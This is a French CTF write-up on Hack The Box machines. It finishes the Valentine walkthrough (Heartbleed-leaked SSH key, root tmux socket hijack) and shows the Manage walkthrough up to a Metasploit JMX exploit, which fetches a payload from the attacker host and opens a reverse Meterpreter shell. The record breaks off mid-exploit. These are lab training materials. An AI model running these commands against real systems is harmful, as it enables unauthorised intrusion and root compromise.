dans un fichier local (hype_key_decoded), tu le places dans un répertoire de travail adapté : mkdir -p /home/kali/tmp cp hype_key_decoded /home/kali/tmp/ Tu ajustes ensuite les permissions du fichier, condition indispensable pour que SSH accepte la clé : chmod 600 /home/kali/tmp/hype_key_decoded Connexion SSH avec la clé récupérée Le nom du fichier hype_key te donne déjà un bon indice : il s’agit très probablement de la clé SSH de l’utilisateur hype. Tu tentes donc une connexion SSH en utilisant cette clé privée. ssh -i /home/kali/tmp/hype_key_decoded hype@valentine.htb La clé est protégée par une passphrase, ce qui te donne une occasion naturelle de tester la chaîne récupérée via Heartbleed : heartbleedbelievethehype La connexion aboutit avec succès et tu obtiens un shell interactif en tant que l’utilisateur hype : ssh -i /home/kali/tmp/hype_key_decoded hype@valentine.htb ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to \u0026#34;store now, decrypt later\u0026#34; attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html Enter passphrase for key \u0026#39;/home/kali/tmp/hype_key_decoded\u0026#39;: Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64) * Documentation: https://help.ubuntu.com/ New release \u0026#39;14.04.5 LTS\u0026#39; available. Run \u0026#39;do-release-upgrade\u0026#39; to upgrade to it. hype@Valentine:~$ Récupération de user.txt Une fois connecté en SSH en tant que l’utilisateur hype, tu commences par examiner le contenu de son répertoire personnel afin de repérer d’éventuels fichiers intéressants. hype@Valentine:~$ ls -l total 36 drwxr-xr-x 2 hype hype 4096 Jul 9 01:46 Desktop drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Documents drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Downloads drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Music drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Pictures drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Public drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Templates -rw-rw-r-- 1 hype hype 33 Nov 24 06:46 user.txt drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Videos Tu vois immédiatement que le fichier user.txt est directement accessible dans le home de l’utilisateur. Il ne te reste plus qu’à l’afficher pour valider l’accès utilisateur. hype@Valentine:~$ cat user.txt ef7xxxxxxxxxxxxxxxxxxxxxxxxxxx24e0 Tu récupères ainsi le flag utilisateur, ce qui valide la prise pied sur la machine. Escalade de privilèges Une fois connecté en SSH en tant que hype, tu disposes d’un premier accès utilisateur sur la machine. L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root. Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique : vérification des droits sudo avec sudo -l afin d’identifier des commandes exécutables avec les privilèges root recherche de binaires SUID avec find / -perm -4000 2\u0026gt;/dev/null (les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souvent root) analyse des Linux capabilities avec getcap -r / 2\u0026gt;/dev/null python3 suid3num.py afin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins inspection des tâches cron avec cat /etc/crontab afin de repérer d’éventuels scripts ou commandes exécutés automatiquement par root analyse des services locaux avec netstat -tulpn pour identifier d’éventuels services internes accessibles uniquement en local observation des processus exécutés par root avec pspy64 (dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root. Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser. Sudo -l Tu commences toujours par vérifier les droits sudo : hype@valentine:~$ sudo -l [sudo] password for hype: Sorry, try again. La connexion SSH est réalisée à l’aide de la clé privée récupérée via Heartbleed. Comme tu ne connais pas le mot de passe du compte hype, tu ne peux pas exploiter sudo sur cette machine. Recherche de binaires SUID Tu poursuis l’énumération en recherchant les binaires SUID, qui permettent parfois d’exécuter certaines commandes avec les privilèges de leur propriétaire. find / -perm -4000 -type f 2\u0026gt;/dev/null La liste obtenue ne contient que des binaires système classiques tels que : /usr/bin/passwd /usr/bin/chsh /usr/bin/chfn /usr/bin/sudo /usr/bin/newgrp Tu n’identifies aucun binaire inhabituel ou directement exploitable. Tu ne peux pas utiliser suid3num.py sur cette machine, car python3 n’est pas installé. hype@Valentine:/dev/shm$ python3 suid3num.py The program \u0026#39;python3\u0026#39; is currently not installed. To run \u0026#39;python3\u0026#39; please ask your administrator to install the package \u0026#39;python3-minimal\u0026#39; Analyse des Linux capabilities Tu vérifies ensuite si certains binaires disposent de capabilities Linux, qui permettent à un programme d’effectuer certaines actions privilégiées sans être exécuté en root ou via un binaire SUID. La vérification se fait avec la commande suivante : getcap -r / 2\u0026gt;/dev/null Ici, tu ne trouves aucune capability inhabituelle ni aucun binaire exploitable. Inspection des tâches cron Tu vérifies ensuite les tâches planifiées (cron), car certains scripts exécutés automatiquement par le système peuvent être modifiables par un utilisateur et permettre une élévation de privilèges. Les crons système peuvent être consultés avec : cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don\u0026#39;t have to run the `crontab\u0026#39; # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.monthly ) # Tu constates que ces tâches correspondent uniquement à des crons système standards et ne révèlent aucun script modifiable par l’utilisateur hype. Analyse des services locaux Tu vérifies ensuite les services en cours d’exécution, ce qui permet parfois d’identifier une application vulnérable ou un service mal configuré. netstat -tulpn netstat -tulpn (No info could be read for \u0026#34;-p\u0026#34;: geteuid()=1000 but you should be root.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 ::1:631 :::* LISTEN - tcp6 0 0 :::443 :::* LISTEN - udp 0 0 0.0.0.0:52102 0.0.0.0:* - udp 0 0 0.0.0.0:68 0.0.0.0:* - udp 0 0 0.0.0.0:5353 0.0.0.0:* - udp6 0 0 :::50264 :::* - udp6 0 0 :::5353 :::* - Le message t’indique simplement que l’utilisateur hype n’est pas root, ce qui empêche netstat d’afficher les PID des processus. Les services observés correspondent uniquement aux services système attendus : port 22 : SSH ports 80 et 443 : serveur web port 631 : service d’impression CUPS accessible uniquement en localhost Tu n’identifies aucune configuration directement exploitable. pspy64 Tu lances également pspy64 dans une deuxième session SSH afin d’observer en temps réel les processus exécutés sur la machine, notamment ceux lancés par root. cd /tmp ./pspy64 L’objectif est de repérer d’éventuelles tâches cron, scripts ou commandes exécutés automatiquement par root et qui pourraient être exploitables pour une escalade de privilèges. Dans ce cas précis, aucun processus exploitable n’apparaît dans cette deuxième session, même en redémarrant la première session SSH. Conclusion de l’énumération manuelle À ce stade, tes vérifications manuelles ne révèlent aucune faiblesse évidente pour escalader les privilèges. Tu passes donc à une énumération automatisée avec linpeas.sh. Cet outil analyse de nombreuses configurations du système et permet souvent d’identifier des pistes que l’énumération manuelle n’a pas révélées. Analyse avec linpeas.sh Dans LinPEAS, les vulnérabilités potentielles sont classées et surlignées par couleur. Dans les résultats de linpeas.sh, tu peux remarquer la ligne suivante, surlignée en rouge et jaune : tmux est un multiplexeur de terminaux qui permet d\u0026rsquo;ouvrir plusieurs sessions persistantes dans un même terminal et de s\u0026rsquo;y reconnecter même après une déconnexion. Tu peux l’interpréter ainsi : Le processus appartient à root → donc session tmux contrôlée par root. Il tourne depuis Nov24 → donc session persistante. L\u0026rsquo;option -S indique que tmux utilise un socket personnalisé au lieu du socket classique ( /tmp/tmux-\u0026lt;uid\u0026gt;/ ). Ici, le socket est : /.devs/dev_sess Exploitation du socket tmux Si tu peux écrire sur ce socket, tu peux alors : t’attacher à la session root prendre le contrôle du shell obtenir immédiatement un shell root Vérification du socket tmux Dans le shell hype@valentine, teste : ls -l /.devs/dev_sess srw-rw---- 1 root hype 0 Nov 26 00:30 /.devs/dev_sess Tu confirmes ainsi que tu disposes d’un accès en écriture sur le socket. Puis tu t’attaches avec : tmux -S /.devs/dev_sess attach Cette fois, tu obtiens directement un prompt root : root@valentine:~# L’accès root est obtenu. root.txt root@Valentine:/# cat /root/root.txt 32ecxxxxxxxxxxxxxxxxxxxxxxxxxb08 Bonus — Dirty COW (CVE-2016-5195) L’énumération locale te signale aussi la vulnérabilité kernel Dirty COW (CVE-2016-5195), confirmée comme exploitable sur cette version ancienne d’Ubuntu (12.04, kernel 3.2.0). Cette vulnérabilité permet, via une condition de concurrence (race condition), d’élever ses privilèges jusqu’à root sans disposer de droits sudo. Dans le cadre de ce challenge, cette piste n’a toutefois pas été exploitée. L’analyse approfondie avec linpeas.sh a permis d’identifier une configuration bien plus directe : une session tmux appartenant à root, accessible via un socket dont l’utilisateur hype dispose des droits en écriture. Ce choix reste volontairement pragmatique : quand une escalade non-kernel, stable et immédiate est disponible, tu as intérêt à la privilégier plutôt qu’à partir sur une exploitation kernel plus intrusive. À titre d’exercice complémentaire, libre à toi d’explorer également l’exploitation de Dirty COW (CVE-2016-5195) sur cette machine. Un proof-of-concept fiable et largement documenté est notamment disponible sur Exploit-DB (ID 40616). Conclusion Valentine est une machine HTB Easy idéale si tu veux réviser une chaîne d’attaque courte et logique : détection d’Heartbleed (CVE-2014-0160) sur OpenSSL, fuite mémoire, extraction d’une donnée réutilisable, puis accès SSH en tant qu’utilisateur. L’escalade de privilèges illustre ensuite un classique de post-exploitation : une session tmux root exposée via un socket accessible, qui permet d’obtenir un shell root immédiatement. Ce challenge montre bien qu’une énumération rigoureuse et une lecture attentive des artefacts récupérés suffisent souvent à débloquer toute la machine. Pièces jointes heartbleed.py i Feedback \u0026amp; corrections Tu as repéré une erreur, une imprécision ou une amélioration possible ? N’hésite pas à me le signaler. ","date":"2025-12-24T15:34:58+01:00","lastmod":"2026-03-12T16:11:40+01:00","permalink":"https://writeups.hackethical.be/writeups/valentine/","summary":"Exploitation de Heartbleed (CVE-2014-0160), récupération d’une clé SSH puis escalade via tmux.","tags":["HTB Easy","Heartbleed","CVE-2014-0160","OpenSSL","SSH key","tmux"],"title":"Valentine — HTB Easy Writeup \u0026 Walkthrough"},{"categories":["Mes writeups"],"content":" Introduction Cette machine HTB Easy montre comment un service JMX exposé via RMI, un backup contenant une clé SSH et une règle sudo mal configurée peuvent conduire à une compromission complète du système. Au premier abord, l’énumération ne révèle rien d’immédiatement exploitable : un Tomcat accessible sur le port 8080, quelques ports ouverts, mais aucun contenu web intéressant ni virtual host pertinent. En poursuivant l’énumération avec un scan plus approfondi, un élément inhabituel apparaît : deux ports associés à Java RMI (2222 et 45353). Cette combinaison Tomcat + RMI constitue une piste intéressante. Elle suggère la présence d’un accès JMX potentiellement mal sécurisé, qui va rapidement s’avérer être la clé de l’exploitation de la machine. JMX (Java Management Extensions) est une interface d’administration Java ; mal protégée, elle peut permettre d’exécuter du code à distance. Ton objectif devient : confirmer la présence de jmxrmi dans le registre RMI, puis exploiter l’endpoint JMX exposé. Tu vas obtenir un premier accès via JMX, récupérer un backup contenant une clé SSH pour pivoter vers un nouvel utilisateur, puis terminer par une élévation de privilèges via sudo adduser. Énumération Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète. C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables. Concrètement, l’objectif de cette phase d’énumération est d’identifier : quels ports sont ouverts quels services sont accessibles si une application web est présente quels répertoires sont exposés si des sous-domaines ou vhosts peuvent être exploités Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants : mon-nmap : identifie les ports ouverts et les services en écoute mon-recoweb : énumère les répertoires et fichiers accessibles via le service web mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts Tu retrouves ces outils dans la section Outils / Mes scripts. Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist. Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans : /usr/share/wordlists/htb-dns-vh-5000.txt Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box. Avant de lancer les scans, vérifie que le nom d’hôte manage.htb résout correctement vers l’adresse IP de la cible. Sur HTB, cela passe généralement par une entrée dans /etc/hosts. Ajoute l’entrée 10.129.x.x manage.htb dans /etc/hosts. sudo nano /etc/hosts Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés : mon-nmap manage.htb # Résultats dans le répertoire scans_nmap/ # - scans_nmap/full_tcp_scan.txt # - scans_nmap/enum_ftp_smb_scan.txt # - scans_nmap/aggressive_vuln_scan.txt # - scans_nmap/cms_vuln_scan.txt # - scans_nmap/udp_vuln_scan.txt Scan initial Le scan initial TCP complet (scans_nmap/full_tcp_scan.txt) révèle les ports ouverts suivants : Note : les IP et timestamps peuvent varier selon les resets HTB ; l’important ici est la surface exposée (Tomcat + RMI/JMX). # Nmap 7.98 scan initiated Sun Jan 11 15:26:48 2026 as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt manage.htb Nmap scan report for manage.htb (10.129.x.x) Host is up (0.0086s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 2222/tcp open EtherNetIP-1 8080/tcp open http-proxy 37055/tcp open unknown 45353/tcp open unknown # Nmap done at Sun Jan 11 15:26:58 2026 -- 1 IP address (1 host up) scanned in 10.95 seconds Scan agressif Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités. Voici le résultat (scans_nmap/aggressive_vuln_scan.txt) : [+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour manage.htb [+] Commande utilisée : nmap -Pn -A -sV -p\u0026#34;22,2222,8080,37055,45353\u0026#34; --script=\u0026#34;(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)\u0026#34; --script-timeout=30s -T4 \u0026#34;manage.htb\u0026#34; # Nmap 7.98 scan initiated Sun Jan 11 15:26:59 2026 as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,2222,8080,37055,45353 \u0026#34;--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)\u0026#34; --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan.txt manage.htb Nmap scan report for manage.htb (10.129.x.x) Host is up (0.0089s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) 2222/tcp open java-rmi Java RMI 8080/tcp open http Apache Tomcat 10.1.19 37055/tcp open tcpwrapped 45353/tcp open java-rmi Java RMI Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 7.82 ms 10.10.x.x 2 8.33 ms manage.htb (10.129.x.x) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jan 11 15:27:13 2026 -- 1 IP address (1 host up) scanned in 14.58 seconds Scan ciblé CMS Le scan ciblé CMS (scans_nmap/cms_vuln_scan.txt) ne met rien de vraiment exploitable en évidence pour ce CTF. # Nmap 7.98 scan initiated Sun Jan 11 15:27:13 2026 as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,2222,8080,37055,45353 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt manage.htb Nmap scan report for manage.htb (10.129.x.x) Host is up (0.0081s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) 2222/tcp open java-rmi Java RMI 8080/tcp open http Apache Tomcat 10.1.19 |_http-title: Apache Tomcat/10.1.19 | http-headers: | Content-Type: text/html;charset=UTF-8 | Transfer-Encoding: chunked | Date: Sun, 11 Jan 2026 14:27:23 GMT | Connection: close | |_ (Request type: HEAD) | http-sitemap-generator: | Directory structure: | / | Other: 1; css: 1; ico: 1; svg: 1 | Longest directory structure: | Depth: 0 | Dir: / | Total files found (by extension): |_ Other: 1; css: 1; ico: 1; svg: 1 |_http-devframework: Couldn\u0026#39;t determine the underlying framework or CMS. Try increasing \u0026#39;httpspider.maxpagecount\u0026#39; value to spider more pages. | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS 37055/tcp open tcpwrapped 45353/tcp open java-rmi Java RMI Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jan 11 15:27:48 2026 -- 1 IP address (1 host up) scanned in 34.65 seconds Scan UDP rapide Le scan UDP rapide (scans_nmap/udp_vuln_scan.txt) ne met rien de vraiment exploitable en évidence pour ce CTF. # Nmap 7.95 scan initiated Wed Nov 19 15:55:59 2025 as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt manage.htb Nmap scan report for manage.htb (10.129.x.x) Host is up (0.0086s latency). PORT STATE SERVICE 53/udp open|filtered domain 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 123/udp open|filtered ntp 135/udp closed msrpc 137/udp open|filtered netbios-ns 138/udp closed netbios-dgm 139/udp open|filtered netbios-ssn 161/udp open|filtered snmp 162/udp closed snmptrap 445/udp closed microsoft-ds 500/udp closed isakmp 514/udp closed syslog 520/udp closed route 631/udp closed ipp 1434/udp closed ms-sql-m 1900/udp closed upnp 4500/udp closed nat-t-ike 49152/udp open|filtered unknown # Nmap done at Wed Nov 19 15:56:08 2025 -- 1 IP address (1 host up) scanned in 9.76 seconds Énumération des chemins web Pour la partie découverte de chemins web, utilise le script dédié mon-recoweb sur le service Tomcat 8080/tcp open http Apache Tomcat 10.1.19 : mon-recoweb manage.htb;8080 # Résultats dans le répertoire scans_recoweb/ # - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes # - scans_recoweb/dirb.log # - scans_recoweb/dirb_hits.txt # - scans_recoweb/ffuf_dirs.txt # - scans_recoweb/ffuf_dirs_hits.txt # - scans_recoweb/ffuf_files.txt # - scans_recoweb/ffuf_files_hits.txt # - scans_recoweb/ffuf_dirs.json # - scans_recoweb/ffuf_files.json Le fichier RESULTS_SUMMARY.txt te permet d’identifier rapidement les chemins intéressants sans parcourir tous les logs. ===== mon-recoweb — RÉSUMÉ DES RÉSULTATS ===== Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb Script : mon-recoweb v2.1.0 Cible : manage.htb:8080 Périmètre : / Date début : 2026-01-11 15:40:00 Commandes exécutées (exactes) : [dirb — découverte initiale] dirb http://manage.htb:8080/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/dirb.log [ffuf — énumération des répertoires] ffuf -u http://manage.htb:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/ffuf_dirs.json 2\u0026gt;\u0026amp;1 | tee scans_recoweb/ffuf_dirs.log [ffuf — énumération des fichiers] ffuf -u http://manage.htb:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/ffuf_files.json 2\u0026gt;\u0026amp;1 | tee scans_recoweb/ffuf_files.log Processus de génération des résultats : - Les sorties JSON produites par ffuf constituent la source de vérité. - Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse). - Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP. - Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé). - Les résultats sont normalisés sous la forme : http://cible/chemin (CODE:xxx|SIZE:yyy) - Les chemins sont ensuite classés par type : • répertoires (/chemin/) • fichiers (/chemin.ext) - Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel, garantissant la reproductibilité complète du scan. ---------------------------------------------------- === Résultat global (agrégé) === http://manage.htb:8080/. (CODE:200|SIZE:11219) http://manage.htb:8080/docs (CODE:302|SIZE:0) http://manage.htb:8080/docs/ (CODE:302|SIZE:0) http://manage.htb:8080/examples (CODE:302|SIZE:0) http://manage.htb:8080/examples/ (CODE:302|SIZE:0) http://manage.htb:8080/favicon.ico (CODE:200|SIZE:21630) http://manage.htb:8080/host-manager (CODE:302|SIZE:0) http://manage.htb:8080/index.jsp (CODE:200|SIZE:11219) http://manage.htb:8080/manager (CODE:302|SIZE:0) http://manage.htb:8080/manager/ (CODE:302|SIZE:0) === Détails par outil === [DIRB] http://manage.htb:8080/docs (CODE:302|SIZE:0) http://manage.htb:8080/examples (CODE:302|SIZE:0) http://manage.htb:8080/favicon.ico (CODE:200|SIZE:21630) http://manage.htb:8080/host-manager (CODE:302|SIZE:0) http://manage.htb:8080/manager (CODE:302|SIZE:0) [FFUF — DIRECTORIES] http://manage.htb:8080/docs/ (CODE:302|SIZE:0) http://manage.htb:8080/examples/ (CODE:302|SIZE:0) http://manage.htb:8080/manager/ (CODE:302|SIZE:0) [FFUF — FILES] http://manage.htb:8080/. (CODE:200|SIZE:11219) http://manage.htb:8080/favicon.ico (CODE:200|SIZE:21630) http://manage.htb:8080/index.jsp (CODE:200|SIZE:11219) Recherche de vhosts Enfin, teste rapidement la présence de vhosts avec mon script mon-subdomains : mon-subdomains manage.htb === mon-subdomains manage.htb START === Script : mon-subdomains Version : mon-subdomains 2.0.0 Date : 2026-01-11 15:45:45 Domaine : manage.htb IP : 10.129.x.x Mode : large Master : /usr/share/wordlists/htb-dns-vh-5000.txt Codes : 200,301,302,401,403 (strict=1) VHOST totaux : 0 - (aucun) --- Détails par port --- Port 8080 (http) Baseline#1: code=200 size=11219 words=490 (Host=2w13lzk7kc.manage.htb) Baseline#2: code=200 size=11219 words=490 (Host=nq951g8hlw.manage.htb) Baseline#3: code=200 size=11219 words=490 (Host=sya38wwz8o.manage.htb) VHOST (0) - (fuzzing sauté : wildcard probable) - (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant) === mon-subdomains manage.htb END === Prise pied Analyse des résultats L’énumération web met en évidence un service Tomcat accessible sur le port 8080 : http://manage.htb:8080/ : page d’accueil Tomcat par défaut plusieurs redirections 302 vers des applications internes : /docs /examples /manager /host-manager En approfondissant l’analyse de /docs et /examples à l’aide de scans mon-recoweb ciblés, aucun contenu applicatif intéressant n’est découvert. Ces chemins hébergent uniquement la documentation et les exemples standards de Tomcat, sans application spécifique ni interface d’administration personnalisée. Le scan Nmap agressif apporte en revanche des informations beaucoup plus intéressantes : Tomcat 10.1.19 est confirmé sur 8080/tcp deux services Java RMI sont exposés sur 2222/tcp et 45353/tcp aucun script http-vuln-* ne révèle de vulnérabilité web classique Point clé : le scan parvient à interroger le registre RMI. Cela indique que le registre répond aux requêtes distantes et qu’une partie de l’interface RMI est accessible sans protection apparente. Dès l’apparition de jmxrmi, plusieurs éléments deviennent clairs : une interface JMX Remote est exposée elle n’est pas protégée elle est très probablement exploitable à distance Ce type de configuration ouvre typiquement la voie à une exploitation via le module Metasploit java_jmx_server. À ce stade, il est logique de recentrer l’analyse sur : l’interface Tomcat /manager et surtout la présence des deux services Java RMI, qui constituent le véritable point d’entrée pour la suite de l’exploitation Un scan Nmap complémentaire, orienté spécifiquement RMI, va permettre de confirmer ces hypothèses et d’obtenir davantage d’informations exploitables. nmap --script \u0026#34;rmi*\u0026#34; -sV -p 2222 manage.htb Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 16:35 CET Nmap scan report for manage.htb (10.129.x.x) Host is up (0.0075s latency). PORT STATE SERVICE VERSION 2222/tcp open java-rmi Java RMI | rmi-dumpregistry: | jmxrmi | javax.management.remote.rmi.RMIServerImpl_Stub | @127.0.1.1:34827 | extends | java.rmi.server.RemoteStub | extends |_ java.rmi.server.RemoteObject Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.01 seconds Sur cette machine, le script montre clairement que le serveur RMI accepte des connexions distantes sans authentification. L’entrée jmxrmi est accessible, ce qui indique une interface JMX exposée et mal sécurisée. Dans ce contexte, une interface JMX exposée devient rapidement critique : elle permet notamment de charger des classes Java à distance et d’exécuter du code si aucune authentification ou restriction n’est configurée. Dans ce contexte, un module Metasploit correspond précisément à ce scénario : Java JMX Server Insecure Configuration Java Code Execution Module : exploit/multi/misc/java_jmx_server Description : ce module exploite une configuration JMX non sécurisée en chargeant des classes Java depuis une URL HTTP distante. Il fonctionne lorsque l’interface JMX est exposée sans authentification, ou avec une configuration faible (par exemple lorsque com.sun.management.jmxremote.authenticate=false). Source : Pentester Academy Cette confirmation permet de passer logiquement à l’étape suivante : tester le module Metasploit java_jmx_server, qui devrait fournir un premier accès à la machine sous la forme d’un shell Meterpreter. Metasploit Pour exploiter cette configuration, tu peux utiliser le module Metasploit dédié aux serveurs JMX exposés sans authentification. Ce module va charger une classe Java malveillante via HTTP et exécuter le payload sur le serveur distant. Lance Metasploit et charge le module java_jmx_server : msfconsole Metasploit tip: Use check before run to confirm if a target is vulnerable ... =[ metasploit v6.4.96-dev ] + -- --=[ 2,569 exploits - 1,316 auxiliary - 1,683 payloads ] + -- --=[ 433 post - 49 encoders - 13 nops - 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ The Metasploit Framework is a Rapid7 Open Source Project msf \u0026gt; search jmx rmi Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/misc/java_jmx_server 2013-05-22 excellent Yes Java JMX Server Insecure Configuration Java Code Execution 1 auxiliary/scanner/misc/java_jmx_server 2013-05-22 normal No Java JMX Server Insecure Endpoint Code Execution Scanner 2 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Execution 3 \\_ target: Generic (Java Payload) . . . . 4 \\_ target: Windows x86 (Native Payload) . . . . 5 \\_ target: Linux x86 (Native Payload) . . . . 6 \\_ target: Mac OS X PPC (Native Payload) . . . . 7 \\_ target: Mac OS X x86 (Native Payload) . . . . Interact with a module by name or index. For example info 7, use 7 or use exploit/multi/misc/java_rmi_server After interacting with a module you can manually set a TARGET with set TARGET \u0026#39;Mac OS X x86 (Native Payload)\u0026#39; msf \u0026gt; use 0 [*] No payload configured, defaulting to java/meterpreter/reverse_tcp msf exploit(multi/misc/java_jmx_server) \u0026gt; options Module options (exploit/multi/misc/java_jmx_server): Name Current Setting Required Description ---- --------------- -------- ----------- JMXRMI jmxrmi yes The name where the JMX RMI interface is bound JMX_PASSWORD no The password to interact with an authenticated JMX endpoint JMX_ROLE no The role to interact with an authenticated JMX endpoint RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit /basics/using-metasploit.html RPORT yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Payload options (java/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.0.252 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Generic (Java Payload) View the full module info with the info, or info -d command. msf exploit(multi/misc/java_jmx_server) \u0026gt; set RHOST manage.htb RHOST =\u0026gt; manage.htb msf exploit(multi/misc/java_jmx_server) \u0026gt; set RPORT 2222 RPORT =\u0026gt; 2222 msf exploit(multi/misc/java_jmx_server) \u0026gt; set LHOST tun0 LHOST =\u0026gt; 10.10.x.x msf exploit(multi/misc/java_jmx_server) \u0026gt; exploit [*] Started reverse TCP handler on 10.10.x.x:4444 [*] 10.129.x.x:2222 - Using URL: http://10.10.x.x:8080/yedsBc [*] 10.129.x.x:2222 - Sending RMI Header... [*] 10.129.x.x:2222 - Discovering the JMXRMI endpoint... [+] 10.129.x.x:2222 - JMXRMI endpoint on 127.0.1.1:33659 [*] 10.129.x.x:2222 - Proceeding with handshake... [+] 